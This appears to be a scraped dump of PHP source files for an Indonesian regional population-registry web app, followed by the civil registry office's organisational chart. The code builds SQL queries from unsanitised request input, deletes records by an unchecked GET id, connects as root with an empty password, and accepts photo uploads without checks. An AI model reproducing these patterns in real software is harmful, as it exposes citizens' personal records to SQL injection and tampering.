<td><div align='center'>CETAK</div></td> </TR>"; ////////////// Now let us start executing the query with variables $eu and $limit set at the top of the page/////////// $query_n; if ($cari != "") $query_n .= " AND nama LIKE '%$cari%'"; if ($no_kk != "") $query_n .= " AND nokk LIKE '%$no_kk%'"; if ($n_ik != "") $query_n .= " AND nik LIKE '%$n_ik%'"; if ($jkl != "") $query_n .= " AND jenis_kel = $jkl"; if ($qpend != "") $query_n .= " AND pend = $qpend"; if ($ker != "") $query_n .= " AND kerja = $ker"; if ($Umur != "") $query_n .= " AND umur $Umur"; if ($kp!= "") $query_n .= " AND kp LIKE '%$kp%'"; if ($erwe != "") $query_n .= " AND rw LIKE '%$erwe%'"; if ($erte != "") $query_n .= " AND rt LIKE '%$erte%'"; if ($q_hk != "") $query_n .= " AND hubkel LIKE '%$q_hk%'"; if(isset($column_name) and strlen($column_name)>0){ $query_n = $query_n . " order by $column_name"; } $query_n = $query_n. " limit $eu, $limit "; $result = mysql_query($query_n, $koneksi) or die(mysql_error()); //////////////// Now we will display the returned records in side the rows of the table///////// while($row_n = mysql_fetch_array($result)) { $id=$row_n['id'];
$aa=explode("-",$row_n['tgl_lahir']); $thn=$aa[0]; $bln=$aa[1]; $tgl=$aa[2]; $ageTime = mktime(0, 0, 0, $bln, $tgl, $thn); $t = time(); // Store current time for consistency $age = ($ageTime < 0) ? ( $t + ($ageTime * -1) ) : $t - $ageTime; $year = 60 * 60 * 24 * 365; $ageYears = $age / $year; $umur=floor($ageYears); $sqled="UPDATE penduduk SET umur = '$umur' WHERE id = $id"; $aa = mysql_query($sqled, $koneksi) or die(mysql_error()); $i = 0; if ($i % 2 != 0) $bg = "#e8e8e8"; else $bg = "#F1F4F8"; $i++; echo"<tr align=center bgcolor='$bg' onmouseover=this.style.backgroundColor='#F8E22C' onmouseout=this.style.backgroundColor='$bg'>"; $gabungan=$row_n['alamat']."-".$row_n['rw']."-".$row_n['rt']; // rw rt echo"<TD>".$row_n['nik']."</TD>"; //echo"<TD>".$row_n['no_ktp']."</TD>"; echo"<TD>".$row_n['nokk']."</TD>"; echo"<TD>".$row_n['nama']."</TD>"; echo"<TD>".$row_n['JK']."</TD>"; echo"<TD>".$row_n['AGAM']."</TD>"; echo"<TD>".$row_n['alamat']."</TD>"; echo"<TD>".$row_n['rw']."</TD>"; echo"<TD>".$row_n['kp']."</TD>"; echo"<TD>".$row_n['tgl_lh']."</TD>"; echo"<TD>".$row_n['umur']."</TD>"; echo"<TD>".$row_n['STS']."</TD>"; echo"<TD>".$row_n['HK']."</TD>"; echo"<TD>".$row_n['WG']."</TD>"; echo"<TD>".$row_n['KRJ']."</TD>"; echo"<TD>".$row_n['PND']."</TD>"; echo"<TD><img src=\"fpdf/foto/th_".$row_n['foto']."\" height=\"80\" widht=\"60\"></TD>"; echo"<td><div align='center'><a href='editdata.php?id=".$row_n['id']."&kp=".$row_n['alamat']."&Jk=".$row_n['jenis_kel']."&Ag=".$row_n['agama']."&rw=".$row_n['rw']."&rt=".$row_n['rt']."&sts=".$row_n['status']."&huk=".$row_n['hubkel']."&tgl=".$row_n['tgl_lahir']."&Kw=".$row_n['warganeg']."&Ker=".$row_n['kerja']."&Pen=".$row_n['pend']."'><img src='images/edit.png' width='16' height='16' border='0' title='Mengedit ".$row_n['nama']."'></a></div></td>"; echo"<td><div align='center'><a href='hapus.php?id=".$row_n['id']."' onclick=\"return confirm('Anda Yakin akan menghapus ".$row_n['nama']."?')\"><img
src='images/del.png' width='16' height='16' border='0' title=' Menghapus ".$row_n['nama']."'></a></div></td>"; echo"<td><div align='center'><a href='fpdf/contoh25.php?id=".$row_n['id']."' onclick=\"return confirm('Anda Yakin akan mencetak ".$row_n['nama']."?')\"><img src='images/print.ico' width='16' height='16' border='0' title=' Mencetak ".$row_n['nama']."'></a></div></td>"; echo"</TR>"; } echo "</table>"; echo"<br>"; ////////////////////////////// End of displaying the table with records //////////////////////// /////////////// Start the buttom links with Prev and next link with page numbers ///////////////// echo "<table align = 'center' width='50%'><tr><td align='left' width='30%'>"; //// if our variable $back is equal to 0 or more then only we will display the link to move back //////// if($back >=0) { print "<a href='$page_name?start=$back&column_name=$column_name&limit=$limit'><img src='images/Previous.gif' border='0' /></a>"; } //////////////// Let us display the page links at center. We will not display the current page as a link /////////// echo "</td><td align=center width='30%'>"; $i=0; $l=1; for($i=0;$i < $nume;$i=$i+$limit){ if($i <> $eu){ echo " <a href='$page_name?start=$i&column_name=$column_name&limit=$limit'><font face='Verdana' size='2'>$l</font></a> "; } else { echo "<font face='Verdana' size='4' color=red>$l</font>";} /// Current page is not displayed as link and given font color red $l=$l+1; } echo "</td><td align='right' width='30%'>"; ///////////// If we are not in the last page then Next link will be displayed. Here we check that ///// if($this1 < $nume) { print "<a href='$page_name?start=$next&column_name=$column_name&limit=$limit'><img src='images/Next.gif' border='0'/></a>";} echo "</td></tr></table>"; } else {
echo"</td> <tr> <td class='style3' align='center'>Maaf Data Tidak Ditemukan</td> </tr>"; } ?></td> <tr> <td class="style3"> </td> </tr> <tr> <td class="style3"><div align="center"><span class="style3"><a href="isidata.php"><br> Form Input Data Penduduk</a> -- <a href="lihatdata.php">Lihat Data Penduduk </a></span></div></td> </tr> <tr> <td><div align="center"> <p> <?php //die(print_r($column_name)); echo'<a href="excel.php?nm='.$cari.'&jk='.$jkl.'&pen='.$qpend.'&krj='.$ker.'&umr='.$Umur.'&NOKK='.$no_kk.'&kolom='.$column_name.'"><img src="images/excel.JPG" width="38" height="53" border="0"></a'; ?> </p> <p> </p> <table width="310" border="0"> <tr> <td width="304"><marquee behavior="alternate"> Database Kab. Tanjung Jabung Timur </marquee></td> </tr> </table> <p> </p> </div></td> </tr> <tr><td> </td> </tr> </table> <div align="center"> <p><span class="style2"> </span><br> </p> </div></td> </tr> </table> </body> </html>
tampil_gantipass.php <?php require_once('auth.php'); require_once('Connections/koneksi.php'); //require_once('cek.js'); include "fungsi_thumb.php"; ?> <?php function GetSQLValueString($theValue, $theType, $theDefinedValue = "", $theNotDefinedValue = "") { $theValue = (!get_magic_quotes_gpc()) ? addslashes($theValue) : $theValue; switch ($theType) { case "text": $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL"; break; case "long": case "int": $theValue = ($theValue != "") ? intval($theValue) : "NULL"; break; case "double": $theValue = ($theValue != "") ? "'" . doubleval($theValue) . "'" : "NULL"; break; case "date": $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL"; break; case "defined": $theValue = ($theValue != "") ? $theDefinedValue : $theNotDefinedValue; break; } return $theValue; } $editFormAction = $_SERVER['PHP_SELF']; if (isset($_SERVER['QUERY_STRING'])) { $editFormAction .= "?" . htmlentities($_SERVER['QUERY_STRING']); } $jk=$_POST['Jk']; $tgll=$_POST['tgl']; $_POST['bulan']; $_POST['tahun']; $tanggal=$_POST['tahun'].'-'.$_POST['bulan'].'-'.$tgll; $kec=$_POST['kec']; if($jk==1){ include"nik.php"; }else{ include"nikp.php"; }
//$alamat=$_POST['alamat']; //$kdr=$_POST['kdr']; $jln =$_POST['jln']; $alamat=$_POST['rt']." ".$_POST['kp']; $rw=$_POST['rw']; $rt=$_POST['rt']; $nik=$_POST['NIK']; $ktp=$_POST['NKTP']; $nkk=$_POST['NKK']; $nam=$_POST['Nam']; $ag=$_POST['Ag']; $sta=$_POST['Status']; $huk=$_POST['Hk']; $war=$_POST['war']; $ker=$_POST['Ker']; $pend=$_POST['Pen']; // Apabila ada gambar yang diupload $tmp_file = $_FILES['foto']['tmp_name']; $tipe_file = $_FILES['foto']['type']; $nama_file = $_FILES['foto']['name']; $nama_foto = $nama_file; if (!empty($tmp_file)){ // Tentukan folder gambar utk album $folder="fpdf/foto/"; // Gunakan fungsi thumb untuk membuat thumbnail thumb($tmp_file, $nama_foto, $folder); } //else echo "temp kosong"; /* $poto=$_FILES['foto']['name']; $size=$_FILES['foto']['size']; $tmpname=$_FILES['foto']['tmp_name']; if($size<=50000000){ $pl="foto/"; $type= strstr($poto, '.'); if(($type==".jpg") || ($type==".jpeg")||($type==".png")||($type==".JPG")){ $new="$poto"; $y=$pl.$new; $nama=$_FILES['foto']['name']; move_uploaded_file($tmpname,$y); }; }*/
if ((isset($_POST["MM_insert"])) && ($_POST["MM_insert"] == "inputdata")) { $insertSQL="INSERT INTO penduduk( id, nokk, nama, jenis_kel, agama, alamat, kp, rw, rt, tgl_lahir, status, hubkel, warganeg, kerja, pend, foto,nik) VALUES ( NULL , '$nkk', '$nam', '$jk', '$ag', '$jln', '$kec', '$alamat', '$rt', '$tanggal', '$sta', '$huk', '$war', '$ker', '$pend', '$nama_foto','$nikk')"; //die(print_r($insertSQL)); //echo $insertSQL; mysql_select_db($database_koneksi, $koneksi); $Result1 = mysql_query($insertSQL, $koneksi) or die(mysql_error()); } mysql_select_db($database_koneksi, $koneksi); $query_r = "SELECT * FROM penduduk"; $r = mysql_query($query_r, $koneksi) or die(mysql_error()); $row_r = mysql_fetch_assoc($r); $totalRows_r = mysql_num_rows($r); ?> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Isi Data Penduduk</title> <style type="text/css"> <!-- a:link { color: #000000; text-decoration: none; } a:visited { color: #000000; text-decoration: none; } a:hover { color: #99CC66; text-decoration: underline; } a:active { text-decoration: none; } td {font-family: Verdana, Arial;font-size: 12px;color:#000000;} .style1 {font-size: 12px} --> </style> <script language="javascript" type="text/javascript"> function valid() { if (document.inputdata.NKK.value=="") { alert("NKK Masih Kosong"); return false; }else if (document.inputdata.Nam.value=="") { alert("Nama Masih Kosong"); return false; } else if (document.inputdata.Jk.value=="") { alert("Jenis Kelamin Masih Kosong"); return false; } else if (document.inputdata.Ag.value=="") { alert("Agama Masih Kosong"); return false; } else if (document.inputdata.jln.value=="") { alert("Alamat Masih Kosong"); return false; } } </script> </head> <body> <table width="627" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td width="627"><div align="center"></div></td> </tr>
<tr> <td><div align="center"> <p> <img src="images/garis2.gif" width="584" height="31"></p> </div></td> </tr> <tr> <td><div align="center"><a href="home.php"><img src="images/kop.jpg" width="414" height="103" border="0"></a></div></td> </tr> <tr> <td class="style3"> </td> </tr> <tr> <td class="style3"><div align="center"><strong>FORM INPUT DATA PENDUDUK </strong></div></td> </tr> <tr> <td class="style3"> </td> </tr> <tr> <td class="style3"><form action="<?php echo $editFormAction; ?>" method="POST" name="inputdata" id="inputdata" enctype="multipart/form-data" onSubmit="return valid();"> <table width="434" border="0" align="center"> <tr> <td width="187" align=right><div align="left">No KK </div></td> <td><input name="NKK" type="text" id="NKK" maxlength="30"></td> </tr> <tr> <td align=right><div align="left">Nama</div></td> <td width="237"><input name="Nam" type="text" id="Nam"></td> </tr> <tr> <td align=right><div align="left">Jenis Kelamin</div></td> <td><label> <select name="Jk" id="Jk"> <option value="">-- Pilih --</option> <option value="1">Laki-Laki</option> <option value="2">Perempuan</option> </select> </label></td> </tr> <tr> <td align=right><div align="left">Agama</div></td> <td><select name="Ag" id="Ag"> <option selected value="">--Pilih--</option> <option value="1">Islam</option> <option value="2">Protestan</option> <option value="3">Katholik</option>
<option value="4">Budha</option> <option value="5">Hindu</option> <option value="6">Konghucu</option> </select></td> </tr> <tr> <td align=right><div align="left">Alamat </div></td> <td width="237"><textarea name="jln"></textarea></td> </tr> <tr> <td align=right><div align="left" class="style1"></div></td> <td><select name="kec"> <option value="-" selected>--Kecamatan--</option> </select> <select name="kp"> <option value="0" selected>--Kelurahan/Desa--</option> </select> <select name="rt"> <option value="0">-- RT/RW --</option> </select></td> </tr> <tr> <td align=right><div align="left">Tanggal Lahir </div></td> <td><select name="tgl"> <option value="0">Tanggal</option> </select> <select name="bulan"> <option value="0">Bulan</option> </select> <select name="tahun"> <option value="0">Tahun</option> <?php $tsk=date("Y"); $tbts=$tsk-17; for($t=1960;$t<=$tbts;$t++){?> <option value="<?php echo $t;?>"><?php echo $t;?></option> <?php }?> </select> </td> </tr> <tr> <td align=right><div align="left">Status Perkawinan </div></td> <td><select name="Status" id="Status"> <option selected="selected" value="0">-- Pilih --</option> </select> </td> </tr> <tr>
<td align=right><div align="left">Hubungan Keluarga </div></td> <td><select name="Hk" id="Hk"> <option selected value="0">--Pilih--</option> </select></td> </tr> <tr> <td align=right><div align="left">Kewarganegaraan</div></td> <td><select name="war" id="war"> <option selected value="0">-- Pilih --</option> </select> </td> </tr> <tr> <td align=right><div align="left">Pekerjaan</div></td> <td><select name="Ker" id="Ker"> <option selected="selected" value="0">-- Pilih --</option> </select></td> </tr> <tr> <td align=right><div align="left">Pendidikan </div> <div align="left"></div></td> <td><select name="Pen" id="Pen"> <option selected="selected" value="0">-- Pilih --</option> </select></td> </tr> <tr> <td align=right><div align="left">Gol. Darah </div> <div align="left"></div></td> <td><select name="Pen" id="Pen"> <option selected="selected" value="0">-- Pilih --</option> </select></td> </tr> <tr> <td>Kirim Foto </td> <td> <input type="file" name="foto" id="foto"> </td> </tr> <?php mysql_free_result($r); ?>
hapus.php <?php require_once('Connections/koneksi.php'); $id = $_GET['id']; $sql = "DELETE FROM penduduk WHERE id = '$id'"; $res = mysql_query($sql); if ($res) header("Location: lihatdata.php"); else echo "penghapusan gagal"; ?> cetak.php <?php $id = $_GET['id']; $hostname="localhost"; $username="root"; $password=""; $database="tanjabtimur"; if (!$dbh= mysql_connect($hostname, $username, $password)){ echo mysql_error(); return 0 ; } if (!mysql_select_db($database)) { echo mysql_error(); return 0; } $sql="select * from penduduk where id = '$id'"; if (!$res=mysql_query($sql, $dbh)) { echo mysql_error(); return 0; } $i=0; while ($row=mysql_fetch_row($res)) { $jk=$row[5]; if($jk==1){ $jk="Laki-laki"; }else{ $jk="Perempuan"; } $st=$cell[$i][status] = $row [13]; if($st==1){ $st="Belum Nikah"; }if($st==2){ $st="Menikah"; } if($st==3){ $st="Duda"; }if($st==4){ $st="Janda"; }
$cell[$i][nik] = $row [3]; $cell[$i][nama] = $row [4]; $tgll=$cell[$i][tl] = $row [11]; $tglygs=substr($tgll,8,2); $blnygs=substr($tgll,5,2); $thnygs=substr($tgll,0,4); //$a_tl=explode("-", $row[tl]); //$b_tl=explode("-",$a_tl[2]); //$tl=$b_tl[0]."-".$a_tl[1]."-".$a_tl[0]." - " .$b_tl[1]; $cell[$i][jk] = $row [5]; $cell[$i][alamat] = $row [8]; $cell[$i][rt] = $row [10]; $keygasl=$cell[$i][rw] = $row [9]; $hslkel=substr($keygasl,4); $cell[$i][kp] = $row [7]; //$cell[$i][agama] = $row [6]; $ag=$cell[$i][agama] = $row[6]; if($ag==1){ $ag="Islam"; }if($ag==2){ $ag="Protestan"; } if($ag==3){ $ag="Khatolik"; }if($ag==4){ $ag="Budha"; }if($ag==5){ $ag="Hindu"; }if($ag==6){ $ag="Konghucu"; } //$cell[$i][kerja] = $row [15]; $cell[$i][gambar] = $row [19]; $i++; $kjy=$cell[$i][kerja]= $row [15] ; if($kjy==1){ $kjy="Petani"; }if($kjy==2){ $kjy="Pedagang"; } if($kjy==3){ $kjy="PNS"; }if($kjy==4){ $kjy="Pensiunan & Purnawirawan"; }if($kjy==5){ $kjy="Wiraswasta"; }if($kjy==6){ $kjy="Buruh Pabrik"; }if($kjy==7){ $kjy="Pengrajin"; }if($kjy==8){ $kjy="Tukang Bangunan"; } if($kjy==9){ $kjy="Penjahit"; }if($kjy==10){ $kjy="Tukang Las";
}if($kjy==11){ $kjy="Tukang Ojek"; }if($kjy==12){ $kjy="Bengkel"; }if($kjy==13){ $kjy="Supir Angkutan"; }if($kjy==14){ $kjy="TNI POLRI"; }if($kjy==15){ $kjy="Karyawan Swasta"; }if($kjy==16){ $kjy="Pelajar/Mahasiswa"; }if($kjy==17){ $kjy="Ibu Rumah Tangga"; }if($kjy==18){ $st="Lain-lain"; } //$arpk=mysql_fetch_array(mysql_query("SELECT * FROM selekopt WHERE value='$kjy'")); //$kjy=$arpk['select']; } if ($i==0) { echo "data masih kosong !"; return 0; } define ('FPDF_FONTPATH','fpdf/font/'); require ('fpdf/fpdf.php'); $pdf=new FPDF ('P','cm','A4'); $pdf->Open(); $pdf->AddPage(); $pdf->SetFont('Arial','B',16); $pdf->MultiCell(0,0.6,'Provinsi Jambi',0,'C'); $pdf->Cell (0,0.6, 'Kabupaten Tanjung Jabung Timur',0,0,'C'); $pdf->Ln (); //$pdf->SetFont('Arial','B',12); // //$pdf->Cell(1,1,'No.','TB',1,'L'); //$pdf->Cell(5,1,'Nama','TB',1,'L'); //$pdf->Cell(6,1,'Alamat','TB',1,'L'); //$pdf->Cell(4,1,'Kota','TB',1,'L'); //$pdf->Cell(3,1,'Telpon','TB',1,'L'); //$pdf->Ln(); $pdf->SetFont('Arial','',10); for ($j=0; $j<$i; $j++) { //$no = $j+1; //$pdf->Cell(1,0.5,'',0,0,'L'); //$pdf->Cell(3,0.5,'No.',0,0,'L');//$pdf->Cell(39,0.7,': '.$nama,0,0,'L'); //$pdf->Cell(0.2,0.5,':',0,0,'L'); //$pdf->Cell(0,0.5,$no,0,0,'L'); $pdf->Ln();
$pdf->Cell(1,0.5,'',0,0,'L'); $pdf->Cell(3,0.5,'NIK',0,0,'L'); $pdf->Cell(0.2,0.5,':',0,0,'L'); $pdf->Cell(0,0.5,$cell[$j][nik],0,0,'L'); $pdf->Ln(); $pdf->Cell(1,0.5,'',0,0,'L'); $pdf->Cell(3,0.5,'Nama',0,0,'L'); $pdf->Cell(0.2,0.5,':',0,0,'L'); $pdf->Cell(0,0.5,$cell[$j][nama],0,0,'L'); $pdf->Ln(); $pdf->Cell(1,0.5,'',0,0,'L'); $pdf->Cell(3,0.5,'Tangal Lahir',0,0,'L'); $pdf->Cell(0.2,0.5,':',0,0,'L'); $pdf->Cell(0,0.5,$tglygs.'-'.$blnygs.'-'.$thnygs,0,0,'L'); $pdf->Ln(); $pdf->Cell(1,0.5,'',0,0,'L'); $pdf->Cell(3,0.5,'Jenis Kelamin',0,0,'L'); $pdf->Cell(0.2,0.5,':',0,0,'L'); $pdf->Cell(0,0.5,$jk,0,0,'L'); $pdf->Ln(); $pdf->Cell(1,0.5,'',0,0,'L'); $pdf->Cell(3,0.5,'Alamat',0,0,'L'); $pdf->Cell(0.2,0.5,':',0,0,'L'); $pdf->Cell(0,0.5,$cell[$j][alamat],0,0,'L'); $pdf->Ln(); $pdf->Cell(1,0.5,'',0,0,'L'); $pdf->Cell(3,0.5,'RT',0,0,'L'); $pdf->Cell(0.2,0.5,':',0,0,'L'); $pdf->Cell(0,0.5,$cell[$j][rt],0,0,'L'); $pdf->Ln(); $pdf->Cell(1,0.5,'',0,0,'L'); $pdf->Cell(3,0.5,'Desa/Kelurahan',0,0,'L'); $pdf->Cell(0.2,0.5,':',0,0,'L'); $pdf->Cell(0,0.5,$hslkel,0,0,'L'); $pdf->Ln(); $pdf->Cell(1,0.5,'',0,0,'L'); $pdf->Cell(3,0.5,'Kecamatan',0,0,'L'); $pdf->Cell(0.2,0.5,':',0,0,'L'); $pdf->Cell(0,0.5,$cell[$j][kp],0,0,'L'); $pdf->Ln(); $pdf->Cell(1,0.5,'',0,0,'L'); $pdf->Cell(3,0.5,'Agama',0,0,'L'); $pdf->Cell(0.2,0.5,':',0,0,'L'); $pdf->Cell(0,0.5,$ag,0,0,'L'); //$pdf->Cell(0,0.5,$cell[$j][agama],0,0,'L'); $pdf->Ln();
$pdf->Cell(1,0.5,'',0,0,'L'); $pdf->Cell(3,0.5,'Status Perkawinan',0,0,'L'); $pdf->Cell(0.2,0.5,':',0,0,'L'); $pdf->Cell(0,0.5,$st,0,0,'L'); $pdf->Ln(); $pdf->Cell(1,0.5,'',0,0,'L'); $pdf->Cell(3,0.5,'Pekerjaan',0,0,'L'); $pdf->Cell(0.2,0.5,':',0,0,'L'); $pdf->Cell(0,0.5,$kjy,0,0,'L'); $pdf->Ln(); $pdf->Cell(1,0.5,'',0,0,'L'); $pdf->Cell(3,0.5,'Berlaku Hingga',0,0,'L'); $thnbrlk=date("Y")+5; $pdf->Cell(0.2,0.5,': '.$tglygs.'-'.$blnygs.'-'.$thnbrlk,0,0,'L'); //$pdf->Cell(0,0.5,$cell[$j][],0,0,'L'); $pdf->Ln(); if ($cell[$j][gambar]==NULL) { $gambar = "kosong.jpg";} else { $gambar = $cell[$j][gambar];} $pdf->Cell(3,0.5,$pdf->Image("foto/th_$gambar",18, 2.7,$pos_y , 2.1)); //$pdf->Cell(3,5,$pdf->Image("foto/th_$gambar",$pdf->GetX(),$pdf->GetY(),1.5),0,0,'R'); $pdf->Ln (); } $pdf->Cell(19,0,'',0,0); $pdf->Ln(); //$pdf -> Cell(0,0.7,'Tanjab Timur, '.$tanggal,0,0,'R'); $tanggal = date ("d M Y", time()); $pdf->SetFont('Arial','',10); $pdf->Cell(0,0.5,'Tanjab Timur, '.$tanggal,0,0,'R'); $pdf -> Ln(); $pdf -> Cell(0,0.5,'',0,0,'L'); $pdf -> SetFont ('Arial','',8); $pdf -> Cell(0,0.5,'An. Bupati Tanjung Jabung Timur',0,0,'R'); $pdf -> Ln();$pdf->Ln();$pdf -> Ln(); $pdf -> SetFont ('Arial','',9); $pdf -> Cell(1.2,0.7,'',0,0,'L'); $pdf -> Cell(0,0.7,'Tanda Tangan/Sidik Jari Pemegang KTP',0,0,'L'); //$pdf -> Ln(); $pdf -> SetFont ('Arial','U',12); $pdf -> Cell(8,0.7,'',0,0,'L'); $pdf -> Cell(0,0.7,'Jakfar, S.Sos',0,0,'R'); $pdf -> Ln(); $pdf -> SetFont ('Arial','',12);
$pdf -> Cell(8,0.7,'',0,0,'L'); $pdf -> Cell(0,0.7,'NIP.150 456 342 ',0,0,'R'); $pdf->Output(); ?> nik.php <?php $potthn=$_POST['tahun']; $kjk=$_POST['Jk']; $ruet=$_POST['ruet']; $ruettgl=$_POST['ruettgl']; $kprof="15"; $kkab="07"; if($kec=="Muara Sabak Timur"){ $kkec="01"; }if($kec=="Muara Sabak Barat"){ $kkec="02"; }if($kec=="Kuala Jambi"){ $kkec="03"; }if($kec=="Mendahara Ulu"){ $kkec="04"; }if($kec=="Geragai"){ $kkec="05"; }if($kec=="Berbak"){ $kkec="06"; }if($kec=="Mendahara"){ $kkec="07"; }if($kec=="Dendang"){ $kkec="08"; }if($kec=="Rantau Rasau"){ $kkec="09"; }if($kec=="Nipah Panjang"){ $kkec="10"; }if($kec=="Sadu"){ $kkec="11"; } $kdt1=$tgll; $kblnl=$_POST['bulan']; $kthnl=substr($potthn,2,2); $kran=rand(0000,9999); $nikk=$kprof.$kkab.$kkec.$kdt1.$kblnl.$kthnl.$kran; ?> logout.php <?php //Start session session_start(); //Unset the variable SESS_MEMBER_ID stored in session unset($_SESSION['SESS_MEMBER_ID']); ?>
STRUKTUR ORGANISASI
DINAS KEPENDUDUKAN DAN CATATAN SIPIL
KABUPATEN TANJUNG JABUNG TIMUR
Kepala SubBag Kepegawaian
Kepala SubBag Umum
Sekretaris Drs. Syamsil Inda, HS
Kepala SubBag Keuangan
Kep, Bidang Bina Program M. Zainal, S.E
Kep, Bidang Kependudukan Deddy Armadi, S.H
Kep, Bidang Pencatatan Sipil H. Zainal U, S.Ag
Kep, Bidang Pengelolaan Informasi Kependudukan
Kep, Seksi Pindah Datang Penduduk
Kep, Seksi Perencanaan dan Evaluasi Program
Kep, Seksi Pengolahan Data Pelaporan
Kep, Seksi Pengendalian Program
Kep, Bidang Pendaftaran Penduduk Hartati
Kep, Bidang Pencatatan Kelahiran dan Kematian
Kep, Seksi Pencatatan Perkawinan dan Penceraian
Kep, Seksi Penduduk Pelintas Batas dan Penduduk Rentan
Kep, Seksi Pengembangan Informasi Kependudukan
Kep, Seksi Layanan Informasi Kependudukan
Kep. Seksi Perekaman Data Kependudukan
UPTD
Kepala Dinas Jakfar, S.Sos
Kep, Seksi Pencatatan Status Hukum Anak
Kelompok Jabatan Fungsional
50
Top Related